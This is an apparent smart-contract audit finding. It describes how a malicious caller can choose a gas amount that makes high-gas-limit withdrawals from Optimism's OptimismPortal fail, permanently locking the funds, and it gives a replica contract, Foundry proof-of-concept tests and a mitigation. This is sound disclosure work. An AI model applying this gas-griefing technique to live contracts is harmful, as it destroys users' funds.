Vulnerability: Withdrawals with high gas limits can be bricked by a malicious user, permanently locking funds
Severity: high

Description:
Transactions to execute a withdrawal from the Optimism Portal require the caller to send enough gas to cover `gasLimit` specified by the withdrawer.\\nBecause the EVM limits the total gas forwarded on to 63/64ths of the total `gasleft()` (and silently reduces it to this value if we try to send more) there are situations where transactions with high gas limits will be vulnerable to being reverted.\\nBecause there are no replays on this contract, the result is that a malicious user can call `finalizeWithdrawalTransaction()` with a precise amount of gas, cause the withdrawer's withdrawal to fail, and permanently lock their funds.\\nWithdrawals can be withdrawn from L2's `L2ToL1MessagePasser` contract to L1's `OptimismPortal` contract. This is a less "user-friendly" withdrawal path, presumably for users who know what they are doing.\\nOne of the quirks of the `OptimismPortal` is that there is no replaying of transactions. If a transaction fails, it will simply fail, and all ETH associated with it will remain in the `OptimismPortal` contract. Users have been warned of this and understand the risks, so Optimism takes no responsibility for user error.\\nIn order to ensure that failed transactions can only happen at the fault of the user, the contract implements a check to ensure that the gasLimit is sufficient:\\n```\\nrequire(\\n    gasleft() >= _tx.gasLimit + FINALIZE_GAS_BUFFER,\\n    "OptimismPortal: insufficient gas to finalize withdrawal"\\n);\\n```\\n\\nWhen the transaction is executed, the contract requests to send along all the remaining gas, minus the hardcoded `FINALIZE_GAS_BUFFER` for actions after the call. The goal is that this will ensure that the amount of gas forwarded on is at least the gas limit specified by the user.\\nOptimism is aware of the importance of this property being correct when they write in the comments:\\n“We want to maintain the property that the amount of gas supplied to the call to the target contract is at least the gas limit specified by the user. We can do this by enforcing that, at this point in time, we still have gaslimit + buffer gas available.”\\nThe issue is that the EVM specifies the maximum gas that can be sent to an external call as 63/64ths of the `gasleft()`. For very large gas limits, this 1/64th that remains could be greater than the hardcoded FINALIZE_GAS_BUFFER value. In this case, less gas would be forwarded along than was directed by the contract.\\nHere is a quick overview of the math:\\nWe need X gas to be sent as a part of the call.\\nThis means we need `X * 64 / 63` gas to be available at the time the function is called.\\nHowever, the only check is that we have `X + 20_000` gas a few operations prior to the call (which guarantees that we have `X + 14878` at the time of the call).\\nFor any situation where `X / 64 > 14878` (in other words, when the amount of gas sent is greater than 952_192), the caller is able to send an amount of gas that passes the check, but doesn't forward the required amount on in the call.

Impact:
For any withdrawal with a gas limit of at least 952,192, a malicious user can call `finalizeWithdrawalTransaction()` with an amount of gas that will pass the checks, but will end up forwarding along less gas than was specified by the user.\\nThe result is that the withdrawing user can have their funds permanently locked in the `OptimismPortal` contract.\\nProof of Concept\\nTo test this behavior in a sandboxed environment, you can copy the following proof of concept.\\nHere are three simple contracts that replicate the behavior of the Portal, as well as an external contract that uses a predefined amount of gas.\\n(Note that we added 5122 to the gas included in the call to correct for the other bug we submitted, as this issue remains even when the other bug is patched.)\\n```\\n// SPDX-License-Identifier: UNLICENSED\\npragma solidity ^0.8.13;\\n\\nlibrary SafeCall {\\n    /**\\n     * @notice Perform a low level call without copying any returndata\\n     *\\n     * @param _target   Address to call\\n     * @param _gas      Amount of gas to pass to the call\\n     * @param _value    Amount of value to pass to the call\\n     * @param _calldata Calldata to pass to the call\\n     */\\n    function call(\\n        address _target,\\n        uint256 _gas,\\n        uint256 _value,\\n        bytes memory _calldata\\n    ) internal returns (bool) {\\n        bool _success;\\n        assembly {\\n            _success := call(\\n                _gas, // gas\\n                _target, // recipient\\n                _value, // ether value\\n                add(_calldata, 0x20), // inloc\\n                mload(_calldata), // inlen\\n                0, // outloc\\n                0 // outlen\\n            )\\n        }\\n        return _success;\\n    }\\n}\\n\\ncontract GasUser {\\n    uint[] public s;\\n\\n    function store(uint i) public {\\n        for (uint j = 0; j < i; j++) {\\n            s.push(1);\\n        }\\n    }\\n}\\n\\ncontract Portal {\\n    address l2Sender;\\n\\n    struct Transaction {\\n        uint gasLimit;\\n        address sender;\\n        address target;\\n        uint value;\\n        bytes data;\\n    }\\n\\n    constructor(address _l2Sender) {\\n        l2Sender = _l2Sender;\\n    }\\n\\n    function execute(Transaction memory _tx) public {\\n        require(\\n            gasleft() >= _tx.gasLimit + 20000,\\n            "OptimismPortal: insufficient gas to finalize withdrawal"\\n        );\\n\\n        // Set the l2Sender so contracts know who triggered this withdrawal on L2.\\n        l2Sender = _tx.sender;\\n\\n        // Trigger the call to the target contract. We use SafeCall because we don't\\n        // care about the returndata and we don't want target contracts to be able to force this\\n        // call to run out of gas via a returndata bomb.\\n        bool success = SafeCall.call(\\n            _tx.target,\\n            gasleft() - 20000 + 5122, // fix for other bug\\n            _tx.value,\\n            _tx.data\\n        );\\n    }\\n}\\n```\\n\\nHere is a Foundry test that calls the Portal with various gas values to expose this vulnerability:\\n```\\n// SPDX-License-Identifier: UNLICENSED\\npragma solidity ^0.8.13;\\n\\nimport "forge-std/Test.sol";\\nimport "../src/Portal.sol";\\n\\ncontract PortalGasTest is Test {\\n    Portal public c;\\n    GasUser public gu;\\n\\n    function setUp() public {\\n        c = new Portal(0x000000000000000000000000000000000000dEaD);\\n        gu = new GasUser();\\n    }\\n\\n    function testGasLimitForGU() public {\\n        gu.store{gas: 11_245_655}(500);\\n        assert(gu.s(499) == 1);\\n    }\\n\\n    function _executePortalWithGivenGas(uint gas) public {\\n        c.execute{gas: gas}(Portal.Transaction({\\n            gasLimit: 11_245_655,\\n            sender: address(69),\\n            target: address(gu),\\n            value: 0,\\n            data: abi.encodeWithSignature("store(uint256)", 500)\\n        }));\\n    }\\n\\n    function testPortalCatchesGasTooSmall() public {\\n        vm.expectRevert(bytes("OptimismPortal: insufficient gas to finalize withdrawal"));\\n        _executePortalWithGivenGas(11_266_734);\\n    }\\n\\n    function testPortalSucceedsWithEnoughGas() public {\\n        _executePortalWithGivenGas(11_433_180);\\n        assert(gu.s(499) == 1);\\n    }\\n\\n    function testPortalBugWithInBetweenGasLow() public {\\n        _executePortalWithGivenGas(11_266_735);\\n        \\n        // It now reverts because the array has a length of 0.\\n        vm.expectRevert();\\n        gu.s(0);\\n    }\\n\\n    function testPortalBugWithInBetweenGasHigh() public {\\n        _executePortalWithGivenGas(11_433_179);\\n        \\n        // It now reverts because the array has a length of 0.\\n        vm.expectRevert();\\n        gu.s(0);\\n    }\\n}\\n```\\n\\nAs you can see:\\nWe verify that the call to the target contract succeeds with 11,245,655 gas, and set that as gasLimit for all tests. This is the `X` from our formula above.\\nThis means that we need `11_245_655 * 64 / 63 = 11_424_157` gas available at the time the call is made.\\nThe test uses `9023` gas before it makes our call, so we can see that if we send `11_424_157 + 9_023 = 11_433_180` gas, the test passes.\\nSimilarly, if we send `11_266_734` gas, the total gas will be small enough to fail the require check.\\nBut in the sweet spot between these values, we have enough gas to pass the require check, but when we get to the call, the amount of gas requested is more than 63/64ths of the total, so the EVM sends less than we asked for. As a result, the transaction fails.

Recommended mitigation:
Change the check to account for this 63/64 rule:\\n```\\nrequire(\\n    gasleft() >= (_tx.gasLimit + FINALIZE_GAS_BUFFER) * 64 / 63,\\n    "OptimismPortal: insufficient gas to finalize withdrawal"\\n);\\n```\\n